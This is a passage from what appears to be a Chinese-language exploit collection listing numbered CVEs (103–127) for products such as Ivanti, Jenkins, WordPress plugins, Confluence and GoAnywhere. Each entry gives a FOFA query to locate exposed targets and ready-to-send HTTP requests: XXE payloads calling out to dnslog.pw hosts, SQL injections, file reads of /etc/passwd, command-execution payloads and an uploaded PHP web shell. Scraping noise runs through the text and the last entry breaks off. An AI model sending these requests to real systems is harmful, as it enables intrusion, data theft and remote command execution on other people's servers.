3 R& o0 X* T" N<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
) h" Z" K4 E7 G0 P+ Q* A
103. Ivanti Pulse Connect Secure VPN XXE
# z! P4 F: |4 _# n( @6 U" oCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
) n2 T$ V- U' EPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
) H5 _$ E; x9 r3 YUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
9 d; V0 q7 y9 \4 Y4 ~Content-Type: application/x-www-form-urlencoded
; n+ Z8 g' `3 b6 G' LAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
; P! p9 Y" N& _! A) Z. v+ l

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
' U8 M$ P, \5 R' @<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

! \2 a! e. F& F3 k/ _4 `
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
' n( I: O7 n' `9 R6 d1 oFOFA：title="TOTOLINK"
+ [6 x. D) H# m" L+ {: hPOST /cgi-bin/cstecgi.cgi HTTP/1.1
, G% n( n* x9 |7 n& \$ h1 THost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
5 R- `) Y2 |7 a8 C0 E4 s- x  cOrigin: http://192.168.0.1
; v& ?# f3 L, k6 h) a: oReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
* a7 g% A& d; d. `; [# a6 `
( \; V& C" @! A- P) k( l{
  I: N4 T% h4 ^) O, W; N% `  \$ g"topicurl":"getSysStatusCfg",
"token":""
}
6 H. E+ J- ~' C3 U7 g( e
1 B1 J# n4 B! @6 M3 ~2 k105. SpringBlade v3.2.0 export-user SQL 注入
; g5 P* Q: |2 U0 k3 |) U  i& vFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

& ^' ?; @2 `* X+ m2 ~106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 ^- C/ Q3 S  B% ]+ ^1 vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; n* z. X$ k5 d  ~5 r: @- q: nBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
" L6 d0 w. c0 mAccept-Language: zh-CN,zh;q=0.9
Connection: close

4 V" A2 t% t$ [5 D7 u
- A$ J6 W  L8 B107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' V- }& L/ I7 dHost: your-ip
& {* A! y) L6 |# u: r1 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
9 K, e' ?: Z, I$ n
/ i! a1 o7 v( R
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
# ?, S& X6 J# iFOFA："dtale/static/images/favicon.png"
: L& M: y/ w* m; @+ g3 _  cGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
/ z( F' Z( l" n3 N, \* LAccept: application/json, text/plain, */*
9 k2 p0 H* t$ h" d1 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
+ G  Q* f9 p) uAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 a7 o( G/ W. uConnection: close

+ }% |+ _3 z6 Y8 h. A2 d9 e
109. Jenkins CLI 任意文件读取
3 j: z& I( [) A* n+ E( d9 lCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
4 K' }. s& L, u7 s/ \6 QContent-type: application/octet-stream
- D1 C/ G: u8 q5 L7 dSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
  e% z& [: v  Q% |+ N" _' sConnection: keep-alive
5 g/ I5 H5 a4 F4 KContent-Length: 163

, M" j; T9 ]& w" M& Cb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
7 E  Y  Q. M* h: }2 ]% w
5 C2 e9 v9 m+ i
( S; o* I7 K# m3 |9 G6 F" s4 A3 GPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
" \8 Z5 l1 C* ?% X) B; h- |8 R: M! adownload
Content-Type: application/x-www-form-urlencoded
% u; J5 d; b& {8 b! yContent-Length: 0
" ?- j# h: H( i4 d1 y  t% u0 D
! G6 t0 N) t& t
3 I2 {" P- T0 h1 fERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
, r/ h6 w: D* {* u
4 Y4 ^5 L" L* d' W' A0 V6 q
; ?7 _$ h) j- q& k: `8 R' O% t) a110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
  y6 C# y/ K# r, _; _( PHost: 192.168.40.130:8000
  H! |1 F8 r" }/ a  S7 G, E6 AUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
4 Z. P4 I# P4 u+ X* G, O4 RAccept-Encoding: gzip
- J" Z+ n# _1 u) e' i# E! I1 U

1 c2 ?5 H% e9 V; N' @1 N; }111. WordPress Plugin HTML5 Video Player SQL注入
1 N) f! ]) O7 w; hCVE-2024-1061
4 i4 Y! q7 B$ [  y* KFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
  I% c/ }! D) OHost: 192.168.40.130:112
- `; ^4 c6 m6 c: yUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
$ b1 c4 p$ r& ]3 G" r0 f4 m; m8 vConnection: close
Accept: */*
7 h0 F! g+ ~5 C  J: yAccept-Language: en
2 ]3 ^& G7 P- i+ N* n6 yAccept-Encoding: gzip
, {8 M; z2 c! c3 E  j

1 x# Z- U) t3 L) N112. WordPress Plugin NotificationX SQL 注入
+ _; u+ x- P5 s0 f/ rCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
. q& E0 m2 \( p2 T1 O1 I  gContent-Type: application/json
5 D# U( ?( @0 H, b1 z
0 x% I: |& Y& N+ N! W% }! K{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


. t7 ?' D% |# T- a( y. A- a113. WordPress Automatic 插件任意文件下载和SSRF
! @, D* Z( Q* }) V  `2 gCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
: `5 E$ Y4 s$ `; b. E4 Y9 NGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
( \# c9 H8 R6 Y3 |User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
% K: \: D5 _( w" g$ y9 AAccept-Encoding: gzip

5 o) R$ _1 Y" k% [% ~2 x3 z, `/ H
114. WordPress MasterStudy LMS插件 SQL注入
7 S, `2 P) c1 J# a; k8 jFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
! J" [% R9 j, u5 @; W9 @Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
# L  l& j$ r  J( L$ ZAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
# o! n9 {( F2 E: F, J1 T) _Connection: close
9 n7 d! u# x. u5 x4 p- ~
2 n2 p5 ]8 z4 [0 E. W
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
" @1 o2 e' Z/ Z" [' ?; A8 B  i" BFOFA: body="/wp-content/themes/bricks/"
1 S0 T5 v  M9 Y! n9 z6 P7 c第一步，获取网站的nonce值
" X  S: c& I' F; a  u& W+ IGET / HTTP/1.1
0 e; D6 f+ b  s$ O1 L4 |+ HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
) \# w8 C) Z3 p. XConnection: close
$ f' }' ^4 k) ]Accept-Encoding: gzip
; ]2 w3 N+ f' r% n9 x6 }0 o1 h

第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
7 k( ]! |3 {7 W) ^- kHost: x.x.x.x
: Y& C- F7 n- BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
. [! f+ g: @# q* H9 W$ Z$ U( m' ?% tContent-Length: 356
/ ~1 T, v( ]- L1 H8 Q& JContent-Type: application/json
Accept-Encoding: gzip

{
"postId": "1",
# I& m+ L0 Q5 d, d9 Q3 ~  "nonce": "第一步获得的值",
& R: U9 j- D# c, W  "element": {
    "name": "container",
4 ]5 ]) b: Z& [/ f* q: C% s    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
; U) B1 Y: ~/ h! b      }
+ |& P: P+ u- C( B  y' m/ ~    }
  }
}
) ?2 R8 I. ?$ l

116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
9 a0 S9 ^; i3 Q  y% b; b* D3 jContent-Type: multipart/form-data; boundary=--------767099171
2 y- {. V- P; M) Y: w9 U+ @) I& y6 zUser-Agent: Mozilla/5.0
$ P" t7 U: i- |* S! G
----------767099171
Content-Disposition: form-data; name="action"
0 t1 h, a+ y: Dconfiguration_saveconfiguration
9 v9 \& }6 s- {6 g----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
. R  D) ]1 F$ B3 o* |' _/ K----------767099171
  d, L! R5 ]/ W: q/ `Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
8 h8 f# X- Y, z----------767099171--
) P( ^2 x( M& P( c& `& y

117. WordPress LayerSlider插件SQL注入
8 [) [% d" P* x! l/ ^2 Q! Mversion：7.9.11 – 7.10.0
. `8 q5 M1 Y: eFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
% x, p* E# G, \4 q- PHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 L+ J' F' N# s9 y/ |- vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% [/ R9 z: `! P! W! I% z" [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
. R5 P4 x/ l. B% f6 oConnection: close
Upgrade-Insecure-Requests: 1
6 K+ `2 @0 F1 b: e8 e' `
; H1 a4 u- E, E
0 V, Q5 a4 Q% J$ x118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
% H. J1 N5 U: i+ rCVE-2024-0939
FOFA：title="Smart管理平台"
; t2 ?9 p7 a% tPOST /Tool/uploadfile.php? HTTP/1.1
% r* C7 i1 @/ ?5 V( G' r- i+ N0 I3 DHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
$ U! c/ f( k5 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
5 }* J7 j) q% u, ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. U+ A! \* M8 b- gContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
# J! V2 M% U* [$ y+ _% W( m' IOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
! e. {+ o* x+ R8 D  ~) x# u- ySec-Fetch-Mode: navigate
8 Q1 Q; Y$ p# `; YSec-Fetch-Site: same-origin
0 F0 w2 ]9 s' z: p2 V% aSec-Fetch-User: ?1
) [' m9 E' I- }* s/ J7 s- }; g$ iTe: trailers
$ g  J+ ~7 ]7 k" gConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
# T& p6 @. I, lContent-Type: application/octet-stream
( F0 F% F7 Q1 e! A6 n# h
<?php
system($_POST["passwd"]);
/ y9 N2 `4 D) I1 H?>
4 ?% w9 T& y2 q1 x1 B+ v-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
+ |3 z+ X, z( u1 t( n
& i6 }/ L4 m/ q) S/ [/ b/home/src.php
. O4 o- }4 d0 N8 H5 y. x-----------------------------13979701222747646634037182887--
5 g, M2 r7 V0 U) u
9 l1 t- o9 K9 U) V
访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
  A5 o  H6 j, ~% J6 QCVE-2024-1254
* b7 m! O0 e7 O' ]FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
+ Y+ l& \- ]' ?% @5 c1 lCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
9 y5 x& I8 l2 v; b( E) TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
5 G/ {' ]6 R$ |# L7 k. _Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# D, `% p7 L5 M& i4 R$ s6 f) ]Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
2 O1 d, Z* _& w- R, _* G8 zReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
1 x( t# m* H* @6 H* D6 SSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
. y: D$ ^4 n: i, c2 G; a3 ETe: trailers
Connection: close
" k# Z) L5 J. _' v
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
" V. ~- h: \/ g+ Q( {! \
4 K* c* x' W' }' s) {% v( E: J
" Q3 J, X( J, y# J. r7 e: R120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
  N8 T. G( r9 sPOST /useratte/web.php? HTTP/1.1
Host: ip:port
. E  e' _& L3 }1 z/ cCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
4 h) K4 q3 y* r" O8 \% yUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 a1 U" p% x! l8 Y% AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 d$ ^5 H' H8 I* [) W1 Q& LAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
! C" l; l7 v6 H# R, O8 h8 P5 {+ _  dContent-Length: 597
9 D2 U- F9 O/ b+ |$ ?5 O+ mOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
  ?. k1 P: s" vUpgrade-Insecure-Requests: 1
" h/ O! C2 z% k/ ZSec-Fetch-Dest: document
: G5 ]: A9 D/ M5 K3 j: ]; FSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
" |1 o3 `! i% G1 Z/ oSec-Fetch-User: ?1
2 L/ c' r0 j. v: w" V& {Te: trailers
. ?3 I8 ]. X  s7 H% ~. e4 ZConnection: close

6 k! E: N! K8 k- h-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
# M" l* f+ t1 k3 @% \# i6 _Content-Type: application/octet-stream
+ f9 g3 Q5 r4 Q
<?php phpinfo()?>
9 D# T4 n; H  h0 h7 D* t-----------------------------42328904123665875270630079328
7 b' ]+ U. R% b5 @8 e2 i  KContent-Disposition: form-data; name="id_type"

1
2 \* Y: D  t1 S, R8 k+ M8 g4 T-----------------------------42328904123665875270630079328
( a3 W% S6 F$ D$ M6 q" n) b$ TContent-Disposition: form-data; name="1_ck"

1_radhttp
6 I( Z& y1 i2 m8 s-----------------------------42328904123665875270630079328
# F) }) [+ v" f* {9 lContent-Disposition: form-data; name="mode"
- D& p- I* h& r9 J
' |( R3 b: K% k7 Vimport
/ X2 z- J' u; T3 L) T7 x-----------------------------42328904123665875270630079328
% A& p1 y8 y7 L9 Q3 G9 X, `/ ]; L

, E/ U) N% l) h" C$ z% `文件路径/upload/2.php
7 @1 r: L8 ~% P' U( D( l% q
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
4 _$ f) ^9 c! lFOFA：title="Smart管理平台"
; d. O- ]3 k( t9 a, ^POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
& l' G4 a5 F; @1 tCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
1 H2 f9 Q! H4 ~8 _' K, ]4 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 D/ I0 P5 s2 C- ]/ WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 k, C; k; j7 [- c0 n' [! @# z1 j, @, h! PContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
! \- L9 j& ~1 F' ZOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
4 `" C4 e4 `( aSec-Fetch-Mode: navigate
: Q% W2 H& M0 }' }Sec-Fetch-Site: same-origin
9 y! A6 @8 m7 B, G: @Sec-Fetch-User: ?1
6 Y3 S. B5 Y/ @6 v  @Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
; x7 j+ X  T) Q4 OContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

* [* G, \4 C( t; l: f$ D5 x8 o<?php phpinfo();?>
8 x# e* d" a0 P" H. k-----------------------------42328904123665875270630079328
( c8 M7 m$ b" N7 G' ~9 ]$ N: @Content-Disposition: form-data; name="id_type"
- V: {, x$ {8 l: O( ?
1
3 {4 G# J  h6 H-----------------------------42328904123665875270630079328
" A9 K7 c' R/ x: z$ UContent-Disposition: form-data; name="1_ck"
2 }/ R7 t0 A# L1 H$ v
1_radhttp
-----------------------------42328904123665875270630079328
; F- x' B, J" B% S7 m$ h: e# s) rContent-Disposition: form-data; name="hidwel"

set
% k6 S: b9 Q' ^; ]/ f-----------------------------42328904123665875270630079328
. G" m1 }2 {8 {

boot/web/upload/weblogo/1.php

& y% K; g$ k8 O' k2 F( S! F$ W122. 北京百绰智能s200管理平台/importexport.php sql注入
6 j0 W2 G9 u8 k  f" K: [/ a, fCVE-2024-27718FOFA：title="Smart管理平台"
  J$ l; H8 `- R& q, Y2 A% e# `其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
. [2 a8 {. c4 E. g3 K1 KHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
3 [7 f$ r3 B4 i8 f& [9 C6 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 j( K( K4 N: O; b, i9 F. mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. k" ~8 B! c% B5 BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 \# J0 l3 M; `Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
6 N: N0 {# A7 a  wSec-Fetch-Mode: navigate
9 c% d1 X1 g6 Y4 ZSec-Fetch-Site: none
8 I2 J. H1 O0 x. A; YSec-Fetch-User: ?1
$ }- S( J; [% r! PTe: trailers
7 z7 l3 y) b4 Q7 B2 L' Z7 rConnection: close

$ a& `5 d5 g! D
# j$ a% a$ E9 e5 c: {123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
+ `: {, S5 L! ^& O  YAccept-Language: en-US;q=0.9,en;q=0.8
/ ^/ }0 D4 e! G9 u( LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
# c' Z6 p6 A# @# ~) D4 KConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

0 c8 d' h3 U7 K! L
4 {2 q  B% R. v3 r) Y: a9 {! L124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
; Q  l4 }8 J6 j! y' d# }8 TUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
9 G  K% ?( S1 j, O" ^5 [8 _1 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
& y/ W* E- g& @; xAccept-Encoding: gzip, deflate, br
: W; d, w- W" [# j( q  D$ L* q: d; `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% r4 D$ K9 Y# f4 i( {( eContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

2 _& ^  ]# q/ M, c- S# g+ @* h
http://192.168.40.130:8282/Scripts/abcgcg.aspx

. }% a+ Y# V9 y! f+ n# l) }. {- s125. ConnectWise ScreenConnect身份验证绕过
3 C/ e) G0 s. L3 _CVE-2024-1709
/ V& z( M8 L5 I% Z: K9 C. JFOFA：icon_hash="-82958153"
! ~0 q: f" v( ^0 j2 ohttps://github.com/watchtowrlabs ... bypass-add-user-poc
) z3 R  t& @" c0 S  x  ]

! [, B2 m4 w4 d0 Z使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

$ k& A; N. |4 I. P- s/ N
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
, }8 T8 |7 z' p# GFOFA：title=="ComfyUI"
; K$ H+ R, O+ M; w* u. DGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
) t* h3 H3 d; r! h; {' BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
* j  E0 y, U2 MAccept: */*
' P: p$ k8 s: ]0 E8 s3 L8 dAccept-Language: en
Accept-Encoding: gzip

/ i1 c* s$ N0 S
, A2 |% {: k2 V# ~* Q: p: h2 ^127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
; p# I0 }7 ~3 d1 z2 }( e# ]! k# S8 x# PPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
' h+ q8 \* }/ c, }' `/ S4 sContent-Length: 415
+ C2 |) N+ w6 A. a6 \% MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( ~2 o- c! H9 D; kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
